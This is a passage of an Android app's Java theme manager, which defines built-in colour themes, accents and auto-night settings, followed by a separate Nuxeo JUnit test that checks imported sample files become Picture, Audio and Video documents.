fallbackKeys.put(KeyHub.key_switchTrackBlueThumbChecked, KeyHub.key_windowBackgroundWhite); fallbackKeys.put(KeyHub.key_windowBackgroundCheckText, KeyHub.key_windowBackgroundWhiteBlackText); fallbackKeys.put(KeyHub.key_switchTrackBlueSelector, KeyHub.key_listSelector); fallbackKeys.put(KeyHub.key_switchTrackBlueSelectorChecked, KeyHub.key_listSelector); fallbackKeys.put(KeyHub.key_dialogSearchText, KeyHub.key_windowBackgroundWhiteBlackText); fallbackKeys.put(KeyHub.key_dialogFloatingButton, KeyHub.key_dialogRoundCheckBox); fallbackKeys.put(KeyHub.key_dialogFloatingButtonPressed, KeyHub.key_dialogRoundCheckBox); fallbackKeys.put(KeyHub.key_dialogFloatingIcon, KeyHub.key_dialogRoundCheckBoxCheck); fallbackKeys.put(KeyHub.key_actionBarDefaultArchived, KeyHub.key_actionBarDefault); fallbackKeys.put(KeyHub.key_actionBarDefaultArchivedSelector, KeyHub.key_actionBarDefaultSelector); fallbackKeys.put(KeyHub.key_actionBarDefaultArchivedIcon, KeyHub.key_actionBarDefaultIcon); fallbackKeys.put(KeyHub.key_actionBarDefaultArchivedTitle, KeyHub.key_actionBarDefaultTitle); fallbackKeys.put(KeyHub.key_actionBarDefaultArchivedSearch, KeyHub.key_actionBarDefaultSearch); fallbackKeys.put(KeyHub.key_actionBarDefaultArchivedSearchPlaceholder, KeyHub.key_actionBarDefaultSearchPlaceholder); fallbackKeys.put(KeyHub.key_actionBarDefaultSubmenuItemIcon, KeyHub.key_dialogIcon); fallbackKeys.put(KeyHub.key_actionBarTabActiveText, KeyHub.key_actionBarDefaultTitle); fallbackKeys.put(KeyHub.key_actionBarTabUnactiveText, KeyHub.key_actionBarDefaultSubtitle); fallbackKeys.put(KeyHub.key_actionBarTabLine, KeyHub.key_actionBarDefaultTitle); fallbackKeys.put(KeyHub.key_actionBarTabSelector, KeyHub.key_actionBarDefaultSelector); fallbackKeys.put(KeyHub.key_actionBarBrowser, KeyHub.key_actionBarDefault); //endregion //region load theme from share preference themes = new ArrayList<>(); otherThemes = new ArrayList<>(); themesDict = new HashMap<>(); currentColorsNoAccent = new HashMap<>(); currentColors = new HashMap<>(); SharedPreferences themeConfig = AndroidUtilities.getThemeConfig(); ThemeInfo themeInfo = new ThemeInfo(); themeInfo.name = "Blue"; themeInfo.assetName = "bluebubbles.attheme"; themeInfo.previewBackgroundColor = 0xff95beec; themeInfo.previewInColor = 0xffffffff; themeInfo.previewOutColor = 0xffd0e6ff; themeInfo.firstAccentIsDefault = true; themeInfo.currentAccentId = DEFALT_THEME_ACCENT_ID; themeInfo.sortIndex = 1; themeInfo.setAccentColorOptions( new int[]{0xFF5890C5, 0xFF239853, 0xFFCE5E82, 0xFF7F63C3, 0xFF2491AD, 0xFF299C2F, 0xFF8854B4, 0xFF328ACF, 0xFF43ACC7, 0xFF52AC44, 0xFFCD5F93, 0xFFD28036, 0xFF8366CC, 0xFFCE4E57, 0xFFD3AE40, 0xFF7B88AB}, new int[]{0xFFB8E18D, 0xFFFAFBCC, 0xFFFFF9DC, 0xFFC14F6E, 0xFFD1BD1B, 0xFFFFFAC9, 0xFFFCF6D8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0x00000000, 0xFFF2FBC9, 0xFFFBF4DF, 0, 0, 0xFFFDEDB4, 0xFFFCF7B6, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0x00000000, 0xFFDFE2A0, 0xFFE2B991, 0xFFD7C1E9, 0xFFDCD1C0, 0xFFEFB576, 0xFFC0A2D1, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0x00000000, 0xFFC1E1A3, 0xFFEBE2BA, 0xFFE8CDD6, 0xFFE0DFC6, 0xFFECE771, 0xFFDECCDE, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{99, 9, 10, 11, 12, 13, 14, 0, 1, 2, 3, 4, 5, 6, 7, 8}, new String[]{"", "p-pXcflrmFIBAAAAvXYQk-mCwZU", "JqSUrO0-mFIBAAAAWwTvLzoWGQI", "O-wmAfBPSFADAAAA4zINVfD_bro", "RepJ5uE_SVABAAAAr4d0YhgB850", "-Xc-np9y2VMCAAAARKr0yNNPYW0", "dhf9pceaQVACAAAAbzdVo4SCiZA", "", "", "", "", "", "", "", "", ""}, new int[]{0, 180, 45, 0, 45, 180, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, new int[]{0, 52, 46, 57, 45, 64, 52, 0, 0, 0, 0, 0, 0, 0, 0, 0} ); themes.add(currentDayTheme = currentTheme = defaultTheme = themeInfo); themesDict.put("Blue", themeInfo); themeInfo = new ThemeInfo(); themeInfo.name = "Dark Blue"; themeInfo.assetName = "darkblue.attheme"; themeInfo.previewBackgroundColor = 0xff5f6e82; themeInfo.previewInColor = 0xff76869c; themeInfo.previewOutColor = 0xff82a8e3; themeInfo.sortIndex = 3; themeInfo.setAccentColorOptions( new int[]{0xFF927BD4, 0xFF698AFB, 0xFF23A7F0, 0xFF7B71D1, 0xFF69B955, 0xFF2990EA, 0xFF7082E9, 0xFF66BAED, 0xff3685fa, 0xff46c8ed, 0xff4ab841, 0xffeb7cb1, 0xffee902a, 0xffa281f0, 0xffd34324, 0xffeebd34, 0xff7f8fab, 0xff3581e3}, new int[]{0xFF9D5C99, 0xFF635545, 0xFF31818B, 0xFFAD6426, 0xFF4A7034, 0xFF335D82, 0xFF36576F, 0xFF597563, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF604DA8, 0xFF685D4C, 0xFF1B6080, 0xFF99354E, 0xFF275D3B, 0xFF317A98, 0xFF376E87, 0xFF5E7370, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF28212E, 0xFF171A22, 0xFF071E1F, 0xFF100F13, 0xFF141D12, 0xFF07121C, 0xFF1E2029, 0xFF020403, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF121013, 0xFF26262E, 0xFF141D26, 0xFF221E24, 0xFF1A2114, 0xFF1C2630, 0xFF141518, 0xFF151C1F, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{11, 12, 13, 14, 15, 16, 17, 18, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, new String[]{"O-wmAfBPSFADAAAA4zINVfD_bro", "RepJ5uE_SVABAAAAr4d0YhgB850", "dk_wwlghOFACAAAAfz9xrxi6euw", "9LW_RcoOSVACAAAAFTk3DTyXN-M", "PllZ-bf_SFAEAAAA8crRfwZiDNg", "-Xc-np9y2VMCAAAARKr0yNNPYW0", "kO4jyq55SFABAAAA0WEpcLfahXk", "CJNyxPMgSVAEAAAAvW9sMwc51cw", "", "", "", "", "", "", "", "", "", ""}, new int[]{225, 45, 225, 135, 45, 225, 45, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, new int[]{40, 40, 31, 50, 25, 34, 35, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} ); themes.add(themeInfo); themesDict.put("Dark Blue", currentNightTheme = themeInfo); themeInfo = new ThemeInfo(); themeInfo.name = "Arctic Blue"; themeInfo.assetName = "arctic.attheme"; themeInfo.previewBackgroundColor = 0xffe1e9f0; themeInfo.previewInColor = 0xffffffff; themeInfo.previewOutColor = 0xff6ca1eb; themeInfo.sortIndex = 5; themeInfo.setAccentColorOptions( new int[]{0xFF40B1E2, 0xFF41B05D, 0xFFCE8C20, 0xFF57A3EB, 0xFFDE8534, 0xFFCC6189, 0xFF3490EB, 0xFF43ACC7, 0xFF52AC44, 0xFFCD5F93, 0xFFD28036, 0xFF8366CC, 0xFFCE4E57, 0xFFD3AE40, 0xFF7B88AB}, new int[]{0xFF319FCA, 0xFF28A359, 0xFF8C5A3F, 0xFF3085D3, 0xFFC95870, 0xFF7871CD, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF4EBEE2, 0xFF6BBC59, 0xFF9E563C, 0xFF48C2D8, 0xFFD87047, 0xFFBE6EAF, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFFB4E3F0, 0xFFDDDEAA, 0xFFDACCA1, 0xFFE3F3F3, 0xFFEEE5B0, 0xFFE5DFEC, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFFF1FDFC, 0xFFC9E9B6, 0xFFE2E1BE, 0xFFC8E6EE, 0xFFEEBEAA, 0xFFE1C6EC, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{9, 10, 11, 12, 13, 14, 0, 1, 2, 3, 4, 5, 6, 7, 8}, new String[]{"<KEY>", "<KEY>", "<KEY>", "<KEY>", "JqSUrO0-mFIBAAAAWwTvLzoWGQI", "F<KEY>", "", "", "", "", "", "", "", "", ""}, new int[]{315, 315, 225, 315, 0, 180, 0, 0, 0, 0, 0, 0, 0, 0, 0}, new int[]{50, 50, 58, 47, 46, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0} ); themes.add(themeInfo); themesDict.put("Arctic Blue", themeInfo); themeInfo = new ThemeInfo(); themeInfo.name = "Day"; themeInfo.assetName = "day.attheme"; themeInfo.previewBackgroundColor = 0xffffffff; themeInfo.previewInColor = 0xffebeef4; themeInfo.previewOutColor = 0xff7cb2fe; themeInfo.sortIndex = 2; themeInfo.setAccentColorOptions( new int[]{0xFF56A2C9, 0xFFCC6E83, 0xFFD08E47, 0xFFCC6462, 0xFF867CD2, 0xFF4C91DF, 0xFF57B4D9, 0xFF54B169, 0xFFD9BF3F, 0xFFCC6462, 0xFFCC6E83, 0xFF9B7BD2, 0xFFD79144, 0xFF7B88AB}, new int[]{0xFF6580DC, 0xFF6C6DD2, 0xFFCB5481, 0xFFC34A4A, 0xFF5C8EDF, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF3EC1D6, 0xFFC86994, 0xFFDBA12F, 0xFFD08E3B, 0xFF51B5CB, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{9, 10, 11, 12, 13, 0, 1, 2, 3, 4, 5, 6, 7, 8}, new String[]{"", "", "", "", "", "", "", "", "", "", "", "", "", ""}, new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} ); themes.add(themeInfo); themesDict.put("Day", themeInfo); themeInfo = new ThemeInfo(); themeInfo.name = "Night"; themeInfo.assetName = "night.attheme"; themeInfo.previewBackgroundColor = 0xff535659; themeInfo.previewInColor = 0xff747A84; themeInfo.previewOutColor = 0xff75A2E6; themeInfo.sortIndex = 4; themeInfo.setAccentColorOptions( new int[]{0xFF6ABE3F, 0xFF8D78E3, 0xFFDE5E7E, 0xFF5977E8, 0xFFDBC11A, 0xff3e88f7, 0xff4ab5d3, 0xff4ab841, 0xffd95576, 0xffe27d2b, 0xff936cda, 0xffd04336, 0xffe8ae1c, 0xff7988a3}, new int[]{0xFF8A5294, 0xFFB46C1B, 0xFFAF4F6F, 0xFF266E8D, 0xFF744EB7, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF6855BB, 0xFFA53B4A, 0xFF62499C, 0xFF2F919D, 0xFF298B95, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF020702, 0xFF111314, 0xFF040304, 0xFF0B0C0C, 0xFF060607, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{0xFF0F0E10, 0xFF080809, 0xFF050505, 0xFF0E0E10, 0xFF0D0D10, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000}, new int[]{9, 10, 11, 12, 13, 0, 1, 2, 3, 4, 5, 6, 7, 8}, new String[]{"YIxYGEALQVADAAAAA3QbEH0AowY", "9LW_RcoOSVACAAAAFTk3DTyXN-M", "O-wmAfBPSFADAAAA4zINVfD_bro", "F5oWoCs7QFACAAAAgf2bD_mg8Bw", "-Xc-np9y2VMCAAAARKr0yNNPYW0", "", "", "", "", "", "", "", "", ""}, new int[]{45, 135, 0, 180, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, new int[]{34, 47, 52, 48, 54, 0, 0, 0, 0, 0, 0, 0, 0, 0} ); themes.add(themeInfo); themesDict.put("Night", themeInfo); //endregion String themesString = themeConfig.getString("themes2", null); if (!TextUtils.isEmpty(themesString)) { try { JSONArray jsonArray = new JSONArray(themesString); for (int a = 0; a < jsonArray.length(); a++) { themeInfo = ThemeInfo.createWithJson(jsonArray.getJSONObject(a)); if (themeInfo != null) { otherThemes.add(themeInfo); themes.add(themeInfo); themesDict.put(themeInfo.getKey(), themeInfo); } } } catch (Exception e) { e.printStackTrace(); } } else { themesString = themeConfig.getString("themes", null); if (!TextUtils.isEmpty(themesString)) { String[] themesArr = themesString.split("&"); for (int a = 0; a < themesArr.length; a++) { themeInfo = ThemeInfo.createWithString(themesArr[a]); if (themeInfo != null) { otherThemes.add(themeInfo); themes.add(themeInfo); themesDict.put(themeInfo.getKey(), themeInfo); } } ThemeManager.saveOtherThemes(AndroidUtilities.applicationContext, true, true); themeConfig.edit().remove("themes").apply(); } } ThemeManager.sortThemes(); ThemeInfo applyingTheme = null; SharedPreferences preferences = AndroidUtilities.getGlobalMainSettings(); try { final ThemeInfo themeDarkBlue = themesDict.get("Dark Blue"); String theme = preferences.getString("theme", null); if ("Default".equals(theme)) { applyingTheme = themesDict.get("Blue"); applyingTheme.currentAccentId = DEFALT_THEME_ACCENT_ID; } else if ("Dark".equals(theme)) { applyingTheme = themeDarkBlue; applyingTheme.currentAccentId = 9; } else if (theme != null) { applyingTheme = themesDict.get(theme); if (applyingTheme != null && !themeConfig.contains("lastDayTheme")) { SharedPreferences.Editor editor = themeConfig.edit(); editor.putString("lastDayTheme", applyingTheme.getKey()); editor.commit(); } } theme = preferences.getString("nighttheme", null); if ("Default".equals(theme)) { applyingTheme = themesDict.get("Blue"); applyingTheme.currentAccentId = DEFALT_THEME_ACCENT_ID; } else if ("Dark".equals(theme)) { currentNightTheme = themeDarkBlue; themeDarkBlue.currentAccentId = 9; } else if (theme != null) { ThemeInfo t = themesDict.get(theme); if (t != null) { currentNightTheme = t; } } if (currentNightTheme != null && !themeConfig.contains("lastDarkTheme")) { SharedPreferences.Editor editor = themeConfig.edit(); editor.putString("lastDarkTheme", currentNightTheme.getKey()); editor.commit(); } SharedPreferences.Editor oldEditor = null; SharedPreferences.Editor oldEditorNew = null; for (ThemeInfo info : themesDict.values()) { if (info.assetName != null && info.accentBaseColor != 0) { String accents = themeConfig.getString("accents_" + info.assetName, null); info.currentAccentId = themeConfig.getInt("accent_current_" + info.assetName, info.firstAccentIsDefault ? DEFALT_THEME_ACCENT_ID : 0); ArrayList<ThemeAccent> newAccents = new ArrayList<>(); if (!TextUtils.isEmpty(accents)) { try { ThemeAccentList accentList = ThemeAccentList.fromJson(accents); int count = accentList.count; for (int a = 0; a < count; a++) { ThemeAccent accent = accentList.list.get(a); accent.parentTheme = info; info.themeAccentsMap.put(accent.id, accent); if (accent.info != null) { info.accentsByThemeId.put(accent.info.id, accent); } newAccents.add(accent); info.lastAccentId = Math.max(info.lastAccentId, accent.id); } } catch (Throwable e) { e.printStackTrace(); } } else { String key = "accent_for_" + info.assetName; int oldAccentColor = preferences.getInt(key, 0); if (oldAccentColor != 0) { if (oldEditor == null) { oldEditor = preferences.edit(); oldEditorNew = themeConfig.edit(); } oldEditor.remove(key); boolean found = false; for (int a = 0, N = info.themeAccents.size(); a < N; a++) { ThemeAccent accent = info.themeAccents.get(a); if (accent.accentColor == oldAccentColor) { info.currentAccentId = accent.id; found = true; break; } } if (!found) { ThemeAccent accent = new ThemeAccent(); accent.id = 100; accent.accentColor = oldAccentColor; accent.parentTheme = info; info.themeAccentsMap.put(accent.id, accent); newAccents.add(0, accent); info.currentAccentId = 100; info.lastAccentId = 101; ThemeAccentList accentList = new ThemeAccentList(); accentList.version = 5; accentList.count = 1; accentList.list.add(accent); oldEditorNew.putString("accents_" + info.assetName, accentList.toJson()); } oldEditorNew.putInt("accent_current_" + info.assetName, info.currentAccentId); } } if (!newAccents.isEmpty()) { Collections.sort(newAccents, (o1, o2) -> { if (o1.id > o2.id) { return -1; } else if (o1.id < o2.id) { return 1; } return 0; }); info.themeAccents.addAll(0, newAccents); } if (info.themeAccentsMap != null && info.themeAccentsMap.get(info.currentAccentId) == null) { info.currentAccentId = info.firstAccentIsDefault ? DEFALT_THEME_ACCENT_ID : 0; } } } if (oldEditor != null) { oldEditor.commit(); oldEditorNew.commit(); } selectedAutoNightType = preferences.getInt("selectedAutoNightType", Build.VERSION.SDK_INT >= 29 ? AUTO_NIGHT_TYPE_SYSTEM : AUTO_NIGHT_TYPE_NONE); autoNightScheduleByLocation = preferences.getBoolean("autoNightScheduleByLocation", false); autoNightBrighnessThreshold = preferences.getFloat("autoNightBrighnessThreshold", 0.25f); autoNightDayStartTime = preferences.getInt("autoNightDayStartTime", 22 * 60); autoNightDayEndTime = preferences.getInt("autoNightDayEndTime", 8 * 60); autoNightSunsetTime = preferences.getInt("autoNightSunsetTime", 22 * 60); autoNightSunriseTime = preferences.getInt("autoNightSunriseTime", 8 * 60); autoNightCityName = preferences.getString("autoNightCityName", ""); long val = preferences.getLong("autoNightLocationLatitude3", 10000); if (val != 10000) { autoNightLocationLatitude = Double.longBitsToDouble(val); } else { autoNightLocationLatitude = 10000; } val = preferences.getLong("autoNightLocationLongitude3", 10000); if (val != 10000) { autoNightLocationLongitude = Double.longBitsToDouble(val); } else { autoNightLocationLongitude = 10000; } autoNightLastSunCheckDay = preferences.getInt("autoNightLastSunCheckDay", -1); } catch (Exception e) { e.printStackTrace(); } if (applyingTheme == null) { applyingTheme = defaultTheme; } else { currentDayTheme = applyingTheme; } int switchToTheme = ThemeManager.needSwitchToTheme(AndroidUtilities.applicationContext); if (switchToTheme == 2) { applyingTheme = currentNightTheme; } ThemeManager.applyTheme(AndroidUtilities.applicationContext, applyingTheme, false, switchToTheme == 2); UIThread.runOnUIThread(new Runnable() { @Override public void run() { ThemeManager.checkAutoNightThemeConditions(AndroidUtilities.applicationContext); } }); } //region 资源管理 public static boolean firstConfigurationWas; public static float density; public static void onConfigurationChanged(Context context, Configuration newConfiguration) { float oldDensity = density; density = context.getResources().getDisplayMetrics().density; float newDensity = density; if (firstConfigurationWas && Math.abs(oldDensity - newDensity) > 0.001) { Theme.reloadAllResources(context); } firstConfigurationWas = true; } public static void reloadAllResources(Context context) { for (AbsTheme absTheme : ThemeRes.themes) { absTheme.reloadAllResources(context); } } public static void applyChatServiceMessageColor() { } //endregion //region 工具函数 public static int getDefaultColor(String key) { Integer value = defaultColors.get(key); if (value == null) { return 0xffff0000; } return value; } public static boolean hasThemeKey(String key) { return currentColors.containsKey(key); } public static Integer getColorOrNull(String key) { Integer color = currentColors.get(key); if (color == null) { String fallbackKey = fallbackKeys.get(key); if (fallbackKey != null) { color = currentColors.get(key); } if (color == null) { color = defaultColors.get(key); } } if (color != null && (KeyHub.key_windowBackgroundWhite.equals(key) || KeyHub.key_windowBackgroundGray.equals(key))) { color |= 0xff000000; } return color; } public static void setAnimatingColor(boolean animating) { animatingColors = animating ? new HashMap<>() : null; } public static boolean isAnimatingColor() { return animatingColors != null; } public static void setAnimatedColor(String key, int value) { if (animatingColors == null) { return; } animatingColors.put(key, value); } public static int getDefaultAccentColor(String key) { Integer color = currentColorsNoAccent.get(key); if (color != null) { ThemeAccent accent = currentTheme.getAccent(false); if (accent == null) { return 0; } float[] hsvTemp1 = ThemeManager.getTempHsv(1); float[] hsvTemp2 = ThemeManager.getTempHsv(2); Color.colorToHSV(currentTheme.accentBaseColor, hsvTemp1); Color.colorToHSV(accent.accentColor, hsvTemp2); return ThemeManager.changeColorAccent(hsvTemp1, hsvTemp2, color, currentTheme.isDark()); } return 0; } public static int getNonAnimatedColor(String key) { return getColor(key, null, true); } public static int getColor(String key) { return getColor(key, null, false); } public static int getColor(String key, boolean[] isDefault) { return getColor(key, isDefault, false); } public static int getColor(String key, boolean[] isDefault, boolean ignoreAnimation) { if (!ignoreAnimation && animatingColors != null) { Integer color = animatingColors.get(key); if (color != null) { return color; } } if (currentTheme == defaultTheme) { boolean useDefault = currentTheme.isDefaultMainAccent(); if (useDefault) { return getDefaultColor(key); } } Integer color = currentColors.get(key); if (color == null) { String fallbackKey = fallbackKeys.get(key); if (fallbackKey != null) { color = currentColors.get(fallbackKey); } if (color == null) { if (isDefault != null) { isDefault[0] = true; } return getDefaultColor(key); } } return color; } public static void setColor(Context context, String key, int color, boolean useDefault) { if (useDefault) { currentColors.remove(key); } else { currentColors.put(key, color); } switch (key) { case KeyHub.key_actionBarDefault: if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { NotificationCenter.post(NotificationCenter.needCheckSystemBarColors); } break; case KeyHub.key_windowBackgroundGray: if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { NotificationCenter.post(NotificationCenter.needCheckSystemBarColors); } break; } } private void checkSystemBarColors(Activity context) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { int color = Theme.getColor(KeyHub.key_actionBarDefault, null, true); AndroidUtilities.setLightStatusBar(context.getWindow(), color == Color.WHITE); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { final Window window = context.getWindow(); color = Theme.getColor(KeyHub.key_windowBackgroundGray, null, true); if (window.getNavigationBarColor() != color) { window.setNavigationBarColor(color); final float brightness = AndroidUtilities.computePerceivedBrightness(color); AndroidUtilities.setLightNavigationBar(context.getWindow(), brightness >= 0.721f); } } } } public static void setDefaultColor(String key, int color) { defaultColors.put(key, color); } public static boolean isCustomTheme() { return isCustomTheme; } //endregion }
aTiKhan/nuxeo
modules/platform/nuxeo-platform-importer/nuxeo-importer-core/src/test/java/org/nuxeo/ecm/platform/importer/tests/TestImporterWithFileManager.java
<reponame>aTiKhan/nuxeo<gh_stars>0 /* * (C) Copyright 2010-2017 Nuxeo SA (http://nuxeo.com/) and others. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Contributors: * * Nuxeo - initial API and implementation * <a href="mailto:<EMAIL>">Harlan</a> */ package org.nuxeo.ecm.platform.importer.tests; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import java.io.File; import javax.inject.Inject; import org.junit.Test; import org.junit.runner.RunWith; import org.nuxeo.common.utils.FileUtils; import org.nuxeo.ecm.core.api.CoreSession; import org.nuxeo.ecm.core.api.DocumentModel; import org.nuxeo.ecm.core.api.PathRef; import org.nuxeo.ecm.core.test.CoreFeature; import org.nuxeo.ecm.core.test.annotations.Granularity; import org.nuxeo.ecm.core.test.annotations.RepositoryConfig; import org.nuxeo.ecm.platform.importer.service.DefaultImporterService; import org.nuxeo.runtime.test.runner.Deploy; import org.nuxeo.runtime.test.runner.Features; import org.nuxeo.runtime.test.runner.FeaturesRunner; import org.nuxeo.runtime.test.runner.TransactionalFeature; import org.nuxeo.runtime.transaction.TransactionHelper; @RunWith(FeaturesRunner.class) @Features(CoreFeature.class) @RepositoryConfig(cleanup = Granularity.METHOD) @Deploy("org.nuxeo.ecm.platform.content.template") @Deploy("org.nuxeo.ecm.platform.importer.core") @Deploy("org.nuxeo.ecm.platform.filemanager") @Deploy("org.nuxeo.ecm.platform.types") @Deploy("org.nuxeo.ecm.platform.video") @Deploy("org.nuxeo.ecm.platform.audio.core") @Deploy("org.nuxeo.ecm.platform.picture.core") @Deploy("org.nuxeo.ecm.platform.tag") @Deploy("org.nuxeo.ecm.platform.importer.core.test:test-importer-with-filemanager-contrib.xml") public class TestImporterWithFileManager { @Inject TransactionalFeature txFeature; @Inject protected CoreSession session; @Inject protected DefaultImporterService importerService; @Test public void testImporterContribution() throws Exception { DocumentModel doc = session.createDocumentModel("/default-domain/workspaces", "ws1", "Workspace"); doc = session.createDocument(doc); assertNotNull(doc); TransactionHelper.commitOrRollbackTransaction(); TransactionHelper.startTransaction(); File source = FileUtils.getResourceFileFromContext("filemanager"); importerService.importDocuments("/default-domain/workspaces/ws1", source.getPath(), false, 5, 5); session.save(); txFeature.nextTransaction(); DocumentModel file = session.getDocument(new PathRef("/default-domain/workspaces/ws1/filemanager/cat.gif")); assertNotNull(file); assertEquals("Picture", file.getType()); file = session.getDocument(new PathRef("/default-domain/workspaces/ws1/filemanager/sample.wav")); assertNotNull(file); assertEquals("Audio", file.getType()); file = session.getDocument(new PathRef("/default-domain/workspaces/ws1/filemanager/sample.mpg")); assertNotNull(file); assertEquals("Video", file.getType()); } }